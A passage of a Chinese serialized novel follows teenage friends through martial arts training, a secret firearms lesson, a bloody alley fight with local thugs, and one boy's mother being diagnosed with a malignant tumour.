这声波攻击威力惊人,连门口的同学都吓得一哆嗦。熟睡的苏旭更是遭了殃,像被电击了一样,“嗷”一嗓子直接从椅子上弹起来,结果重心不稳,“噗通”一声结结实实摔了个屁墩儿。
“哎哟喂!**亲夫啊你!”苏旭龇牙咧嘴地爬起来,揉着摔疼的屁股,没好气地嚷嚷,“那么大嗓门,再来一次房子都得让你震塌了!”
陈曦柳眉倒竖,单手叉腰,气势汹汹:“呦呵!你还敢顶嘴了?!”说着,九阴白骨爪的起手式就要祭出。
就在这时,沉重而急促的脚步声由远及近,伴随着某种压抑的怒气,真的像地震一样撼动着走廊地面,迅速逼近教室门口!
“你看!我说什么来着?真地震了吧!”苏旭指着门口,半真半假地喊着,下意识就往门口方向蹿,想看看动静。
慌乱中,他根本没看清刚踏进教室门的高大人影,一头就撞了上去!对方纹丝不动,苏旭自己却像撞上了一堵墙,眼冒金星地又摔了个四仰八叉。
还没等他看清是谁,一只穿着厚重篮球鞋的大脚就带着风声,毫不留情地踹在他大腿上,剧痛瞬间传来。一个冰冷、暴躁、充满戾气的声音像鞭子一样抽在他头顶:“长点眼睛!瞎吗?!”
第二十三章:夜淬三人组
薛妈离开后,虎哥和刀哥踱步过来,虎哥沉声道:“开始吧,现在六点,练到晚上十点。”两人刚点头应下,看着满场冰冷的器械,心头不禁一阵发怵,这么多家伙什儿,从哪儿下手啊?
刀哥适时开口,声音带着不容置疑的威严:“小子们,急什么?先去那边给我压腿!怎么压,听你们虎哥的。”
张霆琛和李辰浩几乎是异口同声:“压腿就算了吧?我们腿都软了……”话音未落,虎哥的脚风就到了,一人赏了一脚,力道不轻。“废什么话!赶紧的!”虎哥虎目一瞪,“筋长一寸,力长十分。根基不牢,地动山摇!懂不懂?”
两人揉着被踹疼的地方,“哦”了一声,蔫头耷脑地跟着虎哥走向压腿区。那压腿的工具是个粗砺的长筒石袋,中间掏空,分量十足。李辰浩只看一眼,眼皮就跳了跳,这玩意儿怕不得有几十斤?压上去腿不得折了?!
虎哥没理会李辰浩的胆怯,转向张霆琛:“阿琛,你带他做‘少林八法’的基本功,先活动开筋骨。”这“少林八法”是少林一脉的分支,其基本功看似简单,实则极耗功夫。全套动作做到标准流畅,常人没个半年苦练,休想摸到门道。张霆琛自幼**练,自然驾轻就熟。可苦了李辰浩,他腿部韧带尚可,其他部位却僵硬得很,尤其是做到“卷腰”时,那酸爽直冲天灵盖,惨叫声在训练场上空回荡,凄厉无比。
一套基本功下来,李辰浩已是汗流浃背,龇牙咧嘴。紧接着就是那令人望而生畏的石袋压腿。刚摆好架势,张霆琛的手机突兀地响了。是苏旭。张霆琛接完电话,跟虎哥打了个招呼,便匆匆去接人。留下李辰浩独自面对那沉重的石袋和虎哥严厉的目光。
等张霆琛带着苏旭回来时,只见李辰浩四仰八叉地瘫在地上,胸口剧烈起伏,大口大口地喘着粗气,活像刚被暴风雨蹂躏过的小树苗,事实也的确如此。苏旭踏进训练场,环顾四周冷硬的器械和伙伴的惨状,不由得倒吸一口凉气。震撼之余,他眼中也燃起一股不服输的火焰,暗下决心要练出个样子来。
张霆琛简单给虎哥刀哥介绍了苏旭。没半句寒暄,虎哥直接开始给苏旭上基本功“酷刑”。连李辰浩都觉得苦不堪言的训练,对苏旭这个纯新手而言,其残酷程度可想而知。然而令人意外的是,苏旭全程紧咬牙关,任凭汗水浸透衣衫,肥肉颤抖不止,竟硬是一声未吭,硬生生扛了下来。这份狠劲儿让虎哥眼中闪过一丝赞许,也让张霆琛和李辰浩刮目相看。
抻筋拔骨的折磨终于结束,接下来是负重训练。刀哥指着不大的训练场:“每人,50圈。负重……”他略一沉吟,“先带10斤吧,循序渐进。”于是,三个少年开始了漫长而沉重的绕圈奔跑,脚步声在空旷的场地上回荡,汗水砸落地面。
十点整,训练结束。张霆琛和李辰浩累得几乎虚脱,瘫坐在地大口喘息。苏旭却兀自走到一边,一遍遍重复着踢腿动作,仿佛不知疲倦。虎哥走过去,拍了拍他的肩膀,语气难得地带了丝温度:“行了小子,回吧。一口气吃不成胖子,再这么练,身子骨就垮了。”
苏旭这才停下,点了点头。三人拖着灌了铅般的双腿,一同洗去满身疲惫,各自离开。在张霆琛家门口与苏旭道别后,李辰浩和张霆琛对视一眼,都从对方眼中看到一丝复杂。苏旭的变化是好是坏?他似乎沉默了许多,心事重重。不过疲惫很快压倒了疑虑,两人也没深想,推门进屋。
薛妈早已等在那里,手里端着盘子:“累坏了吧?一人5个鸡蛋,吃完再睡。以后天天如此,给你们训练补充体力,长身体。”正值青春发育期的两人,二话不说,狼吞虎咽,风卷残云般解决了鸡蛋。
第二天清晨,张霆琛和李辰浩是被浑身的酸痛唤醒的。这感觉比挨了顿狠揍还要命,每一块肌肉都在无声地**。两人强撑着爬起,遵照虎哥的要求,咬着牙完成了一遍晨起基本功练习。动作间,吸气都带着嘶声。草草吃过早饭,便骑车上学。出门前,薛妈特意叫住李辰浩,语气平淡却不容置疑:“李辰浩,别忘了,今天周四,你要回家。”
李辰浩心里一百个不情愿,嘴上也只能乖乖答应。他可不敢想象违背薛妈指令的下场。路上,他忍不住问张霆琛:“薛妈以前也对你这么凶吗?”
张霆琛一脸无辜地摇头:“从没有过!好像就是从你来了之后,薛妈才这样的。”李辰浩心里哀嚎:我怎么就这么倒霉?!
快到校门口时,两人一眼瞥见正要进校门的苏旭。下一秒,两人同时刹车,捂着肚子爆笑起来,笑得直不起腰。只见苏旭因为昨日训练过度拼命,两条大腿内侧肿得老高,鼓鼓囊囊像塞了两个大馒头,走起路来两腿僵直外撇,活脱脱一只摇摇摆摆的企鹅。这画面实在太过“壮观”,让人忍俊不禁。
苏旭闻声回头,看到是他们,脸上顿时又羞又恼:“笑什么笑!有什么好笑的!我这是在练功!”
他不说还好,这一解释,两人笑得更加肆无忌惮。李辰浩一边抹着笑出的眼泪,一边上气不接下气地调侃:“练的什么神功啊?还能练出多俩蛋蛋?”这话一出,不仅他俩,周围路过的同学也哄堂大笑起来。
苏旭气得满脸通红,作势要追:“你们俩
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给我站住!看我不收拾你们!”三个少年就这样在清晨的校门口追逐打闹起来,冲淡了训练的疲惫和身体的酸痛,开启了充满活力的一天。
课堂上,张霆琛强打精神听课,苏旭则在下课间隙抓紧时间和陈曦腻歪一会儿,上课铃一响,疲惫便如潮水般涌来,忍不住开始打瞌睡。终于,在数学课上,他的脑袋小鸡啄米般点个不停,成功惹恼了老师,被毫不客气地“请”出了教室。总结这一天,对张霆琛而言还算风平浪静,没遇到什么麻烦。
夜幕降临,训练照旧。但李辰浩不得不按薛妈要求留在家中。他试探着问薛妈:“既然我要回避,那苏旭要不要?”薛妈眼皮都没抬,直接否定:“不用。”意思明确,只有“回家”这件事是特殊的。这回答让李辰浩更加郁闷,感觉自己像个被排除在外的异类。
就在张霆琛吃完饭出门去训练场后,薛妈忽然对李辰浩说:“收拾下东西,我带你去个地方。”说完转身进了里屋。李辰浩一头雾水,心里七上八下:到底要去哪儿?为什么?没过多久,薛妈出来了。她换上了一身剪裁合体的女性运动装,勾勒出令人惊叹的曼妙曲线,外面随意披了件酒红色的薄款风衣外套。更让李辰浩惊愕的是,她竟然化了淡妆。本就精致的五官在妆容衬托下,显得格外明艳动人,与她平日冷硬严厉的形象判若两人。
李辰浩一时看呆了,目光不由自主地胶着在薛妈身上。薛妈敏锐地捕捉到他的失神,眼神瞬间转冷,声音带着冰碴子:“再看,信不信把你眼珠子挖出来?”
李辰浩一个激灵,猛地回过神,慌忙低下头,心脏怦怦狂跳,脸上火烧火燎。他赶紧收敛心神,不敢再有半分逾矩,乖乖跟着薛妈出门。
门外,一辆加长林肯轿车静静地停着。李辰浩的心一下子提到了嗓子眼。在他心中,薛妈的形象已然彻底固化,一个深不可测、手段莫测的“魔女”!当然,这想法他打死也不敢说出口。
坐进豪华却压抑的车厢,紧张感几乎让他窒息。他忍不住,声音有些发颤地问:“薛妈,我们去哪儿?”薛妈侧目看了他一眼,简洁地回答:“2号训练场。”就在她转头的瞬间,衣角掀起,李辰浩清晰地瞥见她腰间别着的一样东西,一把冰冷、乌黑的**!
李辰浩的血液仿佛瞬间凝固了。2号训练场?还有枪?!一个可怕的念头不受控制地钻进脑海:她不会是要带我去那儿当活靶子吧?!
巨大的恐惧攫住了他,他僵硬地靠在真皮座椅上,感觉每一秒都无比漫长。加长林肯无声地滑入夜色,驶向那个未知的“2号训练场”。
第二十四章:不同的训练
刚走进2号训练场,冰冷的金属触感抵上李辰浩的太阳穴,薛妈的眼神毫无温度。“准备好这个结局了吗?”她的声音不高,却像重锤砸在李辰浩的心上。
冷汗瞬间浸透了他的后背,恐惧像冰冷的藤蔓缠绕住他的四肢百骸,连呼吸都变得滞涩。喉咙发紧,他几乎是从牙缝里挤出两个字:“为什么?”
薛妈手腕纹丝不动,枪口又往前压了半分,冰冷的质感几乎要嵌入皮肤。“为了小琛的安全。”她的语气斩钉截铁,“你既认他作兄弟,就该为他挡灾。想清楚了吗?”
巨大的恐惧中,一丝奇异的解脱感升起。李辰浩闭上眼,又猛地睁开,眼底是认命的坦然。“我的命,是你们捡回来的。”他喉结滚动,声音带着不易察觉的颤抖,“既然我对啊琛构成了威胁,你动手吧!”他深吸一口气,挺直了脊背,声音陡然清晰。
“砰!砰!砰!”
震耳欲聋的**在狭小的地下空间炸响!李辰浩心脏骤停,预想中的剧痛和黑暗并未降临。他猛地睁开眼,只见薛妈手臂闪电般平举,枪口稳稳指向三十米外的靶心,三个弹孔精准地钉在十环中央,硝烟袅袅升起。
李辰浩僵在原地,冷汗顺着额角滑落,瞳孔因震惊而放大:“这是为什么?”
薛妈嘴角勾起一抹冷峭的弧度,手腕一翻,利落地退下**:“杀你,还不需要我来出手?不过,”她话锋一转,眼神再次变得锐利如鹰,“如果你的答案让我不满意,你此刻已经是一具尸体。很好,你的回答过关了。”
被戏耍的怒火“腾”地窜上心头,李辰浩攥紧了拳头,声音带着压抑的愤怒:“你到底想干什么?!”
薛妈随手将枪抛给他:“以后带着它。你的命,以后就是小琛的盾牌。他身边危机四伏,仇家环伺,一个不留神就是万劫不复。”她指向训练场的器具,“从今天起,我教你近身格杀和枪法。但记住,”她的声音陡然森寒,“这些本事,只能在小琛命悬一线时用!若你敢用它**,哪怕一次,只要不是为了他,我会亲手拧断你的脖子!”
李辰浩下意识接住沉甸甸的**,冰冷的金属触感让他指尖发麻:“我还是不能问为什么,对吗?”
“聪明。”薛妈点头,神情略有缓和,“等你再长大些,或许有机会知道。现在?你还太嫩!”她转身走向训练场中央。李辰浩掂量着**,望向薛妈的背影,最终耸耸肩,跟了上去:“开始吧。”
此后的几天,李辰浩经常神秘消失,跟随薛妈在那个隐秘的地下室进行严苛的训练。面对苏旭和张霆琛探究的目光,他总是三缄其口,沉默得像块石头。而张霆琛和苏旭,则有着自己的“秘密基地”。
每周一、四、日的训练馆,是属于张霆琛和陈海的战场。推开沉重的馆门,看到那个熟悉的身影,张霆琛心中涌起一股复杂的亲切感,过去的畏惧犹在,但已掺杂了信赖。“师傅!”他扬声喊道,声音带着少年人特有的清亮。
陈海转过身,那张惯常严肃的脸上,眼底深处掠过一丝几乎难以察觉的欣慰。罗刹说得没错,这小子确实开朗多了。“我教你的东西,还剩几成?”他板着脸问。
张霆琛下意识地缩了下脖子,嘿嘿一笑:“还好吧……”
“哼!我就知道!”陈海佯怒地哼了一声,眼神却没那么冷硬,“少废话!开始!”他的训练简单粗暴:实战对打。只有亲身体验拳拳到肉的冲击和关节被锁死的窒息感,才能真正领悟招式的精髓。当然,这“精髓”的代价是浑身青紫。
尽管陈海会避开要害,手下却毫不留情。张霆琛往往支撑不了几招就被狠狠摔在地板上,或是被反剪双臂动弹不得。“太慢!”“下盘虚浮!”“发力不对!”严厉的呵斥声在空旷的场馆回荡。唯一让陈海暗自点头的是,那个轻易掉眼泪的男孩不见了,取而代之的是咬着牙、一次次爬起来的倔强身影。
这时,训练馆的门再次被推开,苏旭走了进来。陈海并不意外,影队的眼睛无处不在,他早已知晓这个少年。张霆琛立刻会意,介绍道:“这是我师傅,你叫大叔就行。”
陈海对“大叔”这个称呼不置可否,他看向眼神热切的苏旭,直言道:“你的根基刚打,路子不合。继续跟着小虎和小刀练基本功,火候到了,他们自然会教你保命的东西。”
苏旭眼中闪过一丝失望,但很快被理解取代。能踏进这里,已是幸运。他咧嘴一笑,露出白牙:“知道了,大叔!”说完便自觉走到角落,开始一丝不苟地重复枯燥却至关重要的基础动作。
汗水、喘息、拳脚碰撞的闷响,构成了他们共同的青春乐章。疲惫是真切的,但伙伴相伴,目标清晰,心底却充盈着一种踏实的快乐。然而,平静的水面下,暗流已在汹涌。
一个多月后,校园里的梧桐叶开始泛黄。张霆琛和李辰浩如常走进教室。变化最明显的是苏旭,原本单薄的身形结实了不少,肩膀宽阔了,眼神里多了份沉稳和力量感,让陈曦更添依赖。
课
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间,陈曦轻轻碰了碰苏旭的胳膊:“苏旭,放学去看看阿姨吧?”
一提到母亲,苏旭明亮的眼神瞬间黯淡下来,眉头紧锁。“怎么了?”陈曦关切地问。苏旭的声音低哑下去,带着不易察觉的哽咽:“我爸,很久没消息了,钱也没寄,电话打不通像人间蒸发了。”
陈曦立刻挽住他的手臂,温声道:“不是有我吗?二哥也说家里给了钱,要带阿姨去大医院好好检查呢!”
“我知道你们对我好”苏旭低下头,一滴泪砸在课桌上,“可这好,让我觉得自己像个累赘,而且,妈妈最近精神很差,我怕……”他后面的话堵在喉咙里,是怕那个男人真的抛弃了他们。
“说什么傻话!”陈曦用力握了握他的手,“我们是兄弟!你爸肯定是有事耽搁了。再说了,”她故意压低声音,带着点俏皮,“你看二哥,平时花钱大手大脚,虽然藏得深,但绝对是个隐形小富翁!不‘宰’他‘宰’谁呀?”
苏旭被她逗乐了,破涕为笑,抹了把脸:“行!就‘宰’他!”
话音刚落,一个清朗带笑的声音插了进来:“光天化日密谋‘宰’谁呢?”张霆琛甩着刚洗过的手,水珠飞溅,一脸促狭地指着他们,“好哇,小两口合起伙来算计我这个‘金主’?供吃供喝还供出‘仇’来了?太伤二哥的心了!”他夸张地捂住胸口,随即伸出手掌,掌心向上,“吐出来!把我的‘血汗钱’吐出来!”
苏旭也是个妙人,二话不说,把手塞进喉咙里,真就作势弯腰干呕起来。那夸张的动作看得张霆琛一阵恶寒,五官都皱在了一起。陈曦在一旁笑得花枝乱颤:“二哥,还要吗?刚出炉的!”
“停停停!算你狠!”张霆琛一脸嫌弃地收回手,随即换上认真的表情,拍了拍苏旭的肩膀,“钱准备好了。下午翘课,去医院看阿姨。训练?今天免了!”
与此同时,城郊幽静的别墅内,茶香袅袅。慕容廷端起精致的白瓷茶杯,却有些心不在焉。
坐在他对面的陈海,眉头拧成一个川字,指节无意识地敲击着红木桌面:“大哥,刘文殊那边安静得过头了。这不像他的作风。”
慕容廷放下茶杯,指尖按了按突突直跳的右眼皮,那不安感挥之不去,像阴云笼罩心头:“是啊,太反常了。我这右眼,跳得人心慌。山雨欲来,怕是,要出事了。”
空气仿佛凝固了,茶香里弥漫开一丝山雨欲来的沉重。那预示中的、足以颠覆张霆琛整个世界的风暴,正悄然逼近。
第二十五章:血巷
正午的阳光白得刺眼,张霆琛一行人刚踏出校门请假条还揣在兜里,一股无形的焦躁就弥漫开来。马路对面,阴影里,一个穿着毫不起眼的男人迅速掏出手机,声音压得极低:“三号报告,目标提前出笼了,是否提前收网?”
听筒里传来冰冷、毫无起伏的指令:“保持距离,跟紧。”
“明白。”代号三号的男人眼神阴鸷,随手拦下一辆出租车,引擎低吼着,如影随形地缀了上去。
出租车上,气氛却截然不同。苏旭紧握着陈曦的手,指关节因为用力而发白,胸腔里像揣了一团火,烧得他眼眶发热。母亲的病有救了!这份沉甸甸的希望几乎要将他淹没,他看向身边的张霆琛和李辰浩,千言万语哽在喉咙,只化作一个重重的点头。陈曦依偎着他,无声地传递着力量,车内只剩下引擎的嗡鸣和心跳的鼓噪。
车子七拐八绕,最终停在了一条狭窄破旧的巷口。汽车进不去,张霆琛和李辰浩便留在巷口等下一辆车,陈曦则搀着苏旭往里走。阳光被两侧斑驳的高墙切割成碎片,空气里弥漫着潮湿的霉味和垃圾的酸腐气。刚转过一个拐角,几道不怀好意的身影便像从阴影里滋生出来一样,堵住了去路。
“哟呵!瞧瞧这是谁?不是我们的小旭和他那漂亮小媳妇嘛!”领头那个油腔滑调的声音刺耳地响起,正是上次欺辱苏旭的混混头子。这次他身边多了两个生面孔,二十几岁的年纪,眼神凶悍,肌肉虬结,散发着成年人的戾气。
苏旭身体一僵,像被针扎了一下,拳头瞬间攥紧。陈曦立刻用力拉住他的胳膊,轻轻摇头,眼神里满是担忧。苏旭深吸一口气,压下翻腾的怒火,拉着陈曦就想绕过他们。
“嘿!走什么啊?”那混混头子一步跨前,拦得更死,脸上挂着恶毒的笑,“你那个跟人跑了的爹,回来没有啊?啧啧,左邻右舍谁不知道你爹在外头快活,就你个傻小子,天天守着个半死不活的病妈!现在还得躲女人裙子底下?**丢人现眼!”
最后那句话,像淬了毒的刀子,狠狠捅进了苏旭心里最脆弱的地方。他猛地停下脚步,回头,眼睛死死盯住那人,里面燃烧的已经不是怒火,而是冰冷的、要噬人的火焰。他看向陈曦,声音嘶哑却带着一种不容置疑的决绝:“别叫大哥二哥,这次,我自己来。”
陈曦看着苏旭眼中那种近乎毁灭的光芒,心脏揪紧了。她缓缓松开手,退到墙角,身体紧绷得像一张拉满的弓,随时准备冲出去喊人。
苏旭一步步走向那混混头子,每一步都踏碎了地上的阳光碎片,声音低沉得如同闷雷:“把你刚才的话,再说一遍!”
“操,吓唬谁呢?”混混头子嗤笑一声,满不在乎地叉着腰,“老子就说!你爹就是个抛妻弃子的……”
“操!”话音未落,苏旭的拳头带着破风声,像一柄铁锤,狠狠砸在了那张喷粪的嘴上!混混头子整个人被打得离地飞起,又重重摔在地上,满嘴是血,几颗带血的牙齿混着唾液喷溅出来。场面瞬间炸了锅!
“打他!”旁边的混混和那两个凶悍的打手同时扑了上来!此刻的苏旭,早已不是一个月前那个任人欺凌的少年。这一个多月的苦练,汗水浸透了筋骨,愤怒淬炼了意志!他的身体结实得像块铁,出拳快如闪电,力道沉猛!虽然对方人多势众,还有两个成年人,但苏旭像一头被彻底激怒的幼狮,爆发出惊人的凶悍!
场面瞬间混乱不堪!拳头砸在皮肉上的闷响、粗重的喘息、吃痛的惨叫交织在一起。苏旭硬抗着落在背上的拳头,猛地抱住一个打手踢来的腿,身体下沉,腰腹发力,手臂肌肉贲张,“砰砰砰!”三记重拳狠狠砸在对方大腿根!那人惨叫着倒下,但苏旭的肋下也结结实实挨了另一人一脚,痛得他眼前发黑!
他踉跄一步,咬牙站稳,一个凶狠的侧踢扫出,精准地踹在侧面一个混混的小腿上!“咔嚓!”一声脆响,那混混抱着腿滚倒在地,发出杀猪般的嚎叫!另一个混混趁机一拳捣在苏旭的眼眶上!
“呃!”苏旭眼前金星乱冒,剧痛让他**两步,后背重重撞在冰冷的砖墙上!其他人见状一拥而上,七八只手抓向他,想把他按倒在地!
“滚开!”苏旭嘶吼着,肾上腺素疯狂分泌!他猛地抓住其中一个混混的手臂,腰腹一拧,用尽全身力气一个过肩摔!那混混像个破麻袋一样被甩了出去,脑袋“咚”的一声磕在凸起的石阶上,直接没了声息!
但苏旭付出的代价是沉重的!每一次击倒对手,他身上都要承受好几下重击!脸颊肿起,嘴角撕裂淌血,眉骨破开,一只眼睛肿得只剩下一条缝,身上的衣服被撕扯得破烂,露出的皮肤青紫一片!他像**中的一棵小树,一次次被击打弯折,又一次次顽强地挺直!
“别打了!我去叫他们!”陈曦看着苏旭浑身浴血、摇摇欲坠的样子,心都要碎了,泪水决堤,转身就要跑。
“不许去!!”苏旭猛地抬头,血水和汗水糊了一脸,那只还能睁开的眼睛却燃烧着令人心悸的疯狂和倔强,“我自己来!!”他看向陈曦,那眼神里有着近乎偏执的坚持,声音嘶哑却穿透混乱:“媳妇!你看着!我可以!我不要一辈子躲在别人后面!这次,我自己扛!”说完,他狠狠抹了一把脸上的血,喉咙里发出一声野兽般的低吼,拖着伤痕累累的身体,再次扑向剩下的敌人!
战斗已经毫无章法,只剩下最原始的本能。抱腿、摔打、撕咬……苏旭像一块顽强的礁石,承受着惊涛骇浪的拍打!他倒下,又挣扎着爬起!再倒下,再爬起!每一次倒下都伴随着沉重的喘息和闷哼,每一次爬起都带着更加凶悍的气势!他身上沾满了泥土、汗水和自己的血,模样凄惨,但那股不死不休的狠劲,让剩下的对手心底都开始发毛!这他妈就是个打不死的怪物!
墙角的陈曦,泪水早已模糊了视线。她紧紧咬着下唇,尝到了咸涩的血腥味。心,疼得像被一只大手攥住,每一次苏旭倒下都让她窒息。但另一种更强烈的情感在汹涌,那是骄傲!为这个浑身浴血却绝不低头的男人感到的、锥心刺骨的骄傲!
终于,“噗通!”一声,最后一个站着的打手,被苏旭一个头槌撞在鼻梁上,满脸开花地仰面倒下!结束了!
但是苏旭没有停!他像一头锁定猎物的饿狼,扑到那个最开始辱骂他父母的混混头子身上,骑在他胸口,沾满血污的拳头高高举起,带着积压了十几年的**和愤怒,如同雨点般砸了下去!
“叫你嘴贱!叫你骂我妈!我爸会回来!他一定会回来!!”每吼一句,就伴随着一记重拳!血沫飞溅!
“够了!苏旭!够了!”陈曦扑上来,用尽全力抱住他鲜血淋漓的手臂,声音带着哭腔的颤抖。
苏旭的拳头停在半空,剧烈地喘息着。他没有说话,滚烫的泪水混着脸上的血水滑落,滴在陈曦的手背上。他猛地转身,一把将陈曦紧紧搂进怀里,把脸深深埋进她的颈窝,压抑的呜咽声如同受伤野兽的低鸣:“我爸会回来的,一定会……”
陈曦心痛得无以复加
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,只能用力回抱着他颤抖的身体,感受着他滚烫的泪水和激烈的心跳,一个字也说不出来。
“苏旭!陈曦!怎么回事?!”张霆琛和李辰浩焦急的声音由远及近,两人气喘吁吁地冲了过来。
“没事了,先别说,快,扶小旭进去清洗,接阿姨去医院”陈曦哽咽着,语无伦次。
三人搀扶着几乎脱力的苏旭往屋里走。这时,那个年纪最大的打手挣扎着爬起来,捂着剧痛的胸口,眼神怨毒,嘶声喊道:“妈的小崽子!你们给老子等着!老子这就叫人!弄死你们!”
话音未落!一道身影如鬼魅般掠过!是李辰浩!他根本没等张霆琛动作,脚下猛地一蹬,身体如离弦之箭射出,凌空跃起,一记势大力沉的飞踹,带着破空的尖啸,狠狠印在那人的胸口!
那人连哼都没哼一声,像被高速卡车撞中,整个人倒飞出去,砸塌了旁边一个堆满杂物的破木箱,瘫在垃圾堆里,彻底没了动静。
李辰浩稳稳落地,目光扫过地上那些惊恐万状的残兵败将,声音不高,却带着刺骨的寒意:“不想全家陪葬,就尽管去叫人。老子等着,奉陪到底!”
那冰冷的杀意让地上的混混们如坠冰窟,连滚带爬地架起昏迷的同伙,屁滚尿流地逃了,连头都不敢回。
昏暗的屋子里,苏旭的母亲挣扎着想从床上下来,枯瘦的手伸向儿子,浑浊的眼里充满了惊惶和无助:“小旭!我的儿啊!你这是怎么了?!”
“阿姨!您别动!”张霆琛一个箭步冲上前,稳稳扶住苏母的肩膀,声音尽量放得平稳,“没事的,都是皮外伤。我们这就带您和小旭去医院,好好检查!”
老人看着眼前伤痕累累的儿子和三个风尘仆仆的少年,眼泪簌簌落下,双手紧紧抓住张霆琛的胳膊,声音颤抖而绝望:“我这把老骨头不值得啊,你们的钱都是爹娘的血汗,不能糟蹋在我身上,我知道我熬不过这个冬天了……”
“妈!”苏旭猛地挣脱搀扶,踉跄着扑到床前,声音因为激动和疼痛而撕裂,“你再说这样的话!我现在就死给你看!!”
在所有人惊骇欲绝的目光中,他一把抄起桌上那把生锈的水果刀,冰冷的刀锋瞬间抵在了自己青筋暴起的脖颈上!锋刃压出一道刺目的血线!
“妈!你去不去医院?!你不去,我现在就下去陪你!!”他嘶吼着,眼神是决绝的死寂。
“别!我的儿啊!别做傻事!!”苏母吓得魂飞魄散,脸如金纸,声音都变了调,“妈去!妈什么都听你的!放下刀!快放下啊!你的路还长着呢”巨大的恐惧让她瞬间屈服。
“当啷!”水果刀掉落在冰冷的水泥地上。苏旭像被抽干了所有力气,重重跪倒在床边,伸出伤痕累累的手臂,紧紧抱住母亲瘦骨嶙峋的身体,滚烫的泪水汹涌而出,滴落在母亲单薄的衣衫上:“妈,你会好的,一定会好起来的,我们有钱了。”
陈曦、张霆琛、李辰浩,三人看着眼前这对在绝望中紧紧相拥的母子,看着苏旭浑身浴血却执拗守护的背影,眼眶再也兜不住那滚烫的液体,泪水无声地滑落。简陋的屋子里,只剩下压抑的啜泣和无言的承诺在空气中沉重地交织。
片刻后,他们简单地收拾了必须的物品,搀扶着苏母,支撑着摇摇欲坠的苏旭,一步一步,坚定地踏出了这间承载了太多苦难的房子,走向那承载着最后一线生机的医院。午后的阳光依旧刺眼,将他们的背影拉得很长,投在破败的巷道上,带着血与泪的印记,也带着孤注一掷的希望。
第二十六章:重生与危机
刺鼻的消毒水味儿刚钻进鼻孔,苏旭和他母亲就被一股无形的力量推着往前走。挂号?排队?那些能把普通人熬干耐心的流程,此刻仿佛被按下了快进键。陈曦的父亲像一只无形的手,拨开了医院里盘根错节的障碍。陈曦和李辰浩小心翼翼地搀扶着苏母,穿梭在各种冰冷的仪器之间;另一边,张霆琛则皱着眉,带着苏旭去处理他身上那些或新或旧的伤痕。走廊的光线白得刺眼,映着苏旭眼中跳跃的、几乎要溢出来的光芒,终于,终于能让妈妈在真正的大医院看病了!他心底有个小小的声音在欢呼:妈妈会好的!以后,他也能牵着妈妈的手,去动物园,像所有普通孩子那样。
“家属来一下。”医生的声音平静无波。苏旭几乎是跑着进去的,脸上还挂着未散的笑意。然而,医生只是盯着手中那叠厚厚的化验单,眉头拧成了一个疙瘩。“怎么拖到现在才来?恶性肿瘤。必须手术。”那声音像块冰,砸在苏旭滚烫的心上,
“那就做!马上做!”苏旭急切地抓住桌沿,指节发白。
医生缓缓摇头,镜片后的目光带着一丝不易察觉的怜悯:“成功率…不到10%。手术台上,很可能下不来。”
空气仿佛瞬间凝固了。苏旭感觉脚下的地面猛地塌陷下去,一股寒气从脚底板直冲天灵盖,将他全身的血液都冻住了。他张了张嘴,喉咙里却只发出嘶哑的气音:“那…那不做呢?”医生放下单子,声音更沉了,“靠药物吊着,最多几年。而且,越早手术,希望越大。”
一道无形的霹雳在苏旭脑中炸开。他像被抽走了所有骨头,重重地跌坐在冰冷的椅子上,医生叹了口气,公式化地提醒:“尽快决定吧,然后叫你父亲来签字。”苏旭像尊石雕,一动不动,直到门被他自己推开一条缝。
门打开的瞬间,门外三双期待的眼睛齐刷刷望过来。苏旭脸上的肌肉僵硬地扯动了一下,随即猛地举起一个夸张的“V”字手势,声音刻意拔高,带着一种脆弱的亢奋:“一切OK!小手术!一会儿就好啦!”
走廊里爆发出小小的欢呼。苏旭一把拉住母亲枯瘦的手,又飞快地抓住陈曦的胳膊,声音有点发飘:“妈,您先歇着,我跟曦曦商量点细节,马上回来!”他几乎是拖着陈曦,逃也似的冲进旁边昏暗的楼梯间。当真相像冰冷的潮水一样涌向陈曦时,楼梯间里只剩下沉重的呼吸声。苏旭靠在冰冷的墙壁上,身体微微发抖。绝望和渺茫的希望像两股力量在撕扯着他。终于,他抬起头,眼中布满血丝,声音却异常坚定:“赌一把!不动是死,动了还有一线光!”
苏旭掏出手机,指尖因为用力而微微颤抖。陈曦却低着头,声音轻得像叹息:“别打了,打不通的。我让我爸想想办法,看能不能绕过家属签字,你还不够年龄”她顿了顿,没往下说。苏旭疑惑地看了她一眼,那眼神让陈曦心里一紧。“我试试。”他固执地拨号,听筒里传来一遍遍单调而冷酷的忙音:“嘟…嘟…嘟…”每一声都像锤子敲在他心上。希望一点点熄灭,他颓然地垂下手臂,手机差点滑落。最终,他只能艰难地点点头,把最后一丝希望寄托在陈曦父亲那看不见的“关系网”上。
回到诊室,李辰浩投来询问的目光。苏旭挤出一个比哭还难看的笑容:“找我爸签字,没找着。只能麻烦曦曦爸爸了。”陈父的效率快得令人咋舌。仿佛只是打了个响指,不到十分钟,签字栏的问题迎刃而解,甚至预缴的费用都已悄然到位。苏母苍白的脸上满是过意不去,拉着陈曦的手,声音虚弱却真诚:“孩子,等阿姨好了,一定要好好谢谢你爸爸”推进手术室前,苏母和陈曦单独待了半小时。那扇紧闭的门后,只有低低的絮语,成了一个无人知晓的秘密,像一层薄纱笼罩在众人心头。
手术室冰冷的大门即将合拢。苏旭猛地扑上前,紧紧攥住母亲微凉的手,声音带着无法抑制的哽咽和强装的轻快:“妈!别怕!等您出来,咱就去动物园!您答应我多少回了?这次可不能再赖账了!”
苏母吃力地弯了弯嘴角,氧气面罩下的声音微弱却清晰:“傻小子,等我好了,你说去哪,咱就去哪”门关上了,隔绝了视线。
“耶!终于要好了!”张霆琛忍不住挥了下拳头,李辰浩也松了口气,笑着附和。就在这时,“苏旭整个人瘫软在地。李辰浩和张霆琛的笑容僵在脸上,惊愕地看向陈曦。当真相从陈曦颤抖的唇间吐出时,欢乐的空气瞬间冻结,沉重的寂静压得人喘不过气。
张霆琛第一个反应过来,他蹲下身,用力握住苏旭冰凉的肩膀,声音低沉而歉疚:“对不起兄弟,我不知道咱妈她…”那句脱口而出的“咱妈”,是他和李辰浩藏在心底很久的渴望,两个失去母亲的孩子,早已在心里认定了这份温暖。
苏旭抬起头,脸上还挂着泪痕,却硬生生扯出一个笑容,抬手狠狠抹了把眼睛:“没事!说什么呢!咱妈一定行!到时候,咱们四个,一起去!谁都不准缺席!”四个少年,在弥漫着消毒水气味的、冰冷的长椅上,紧紧挨坐在一起,手死死地攥着彼此的手。四双手交叠在一起,传递着无声的力量和共同的祈祷。
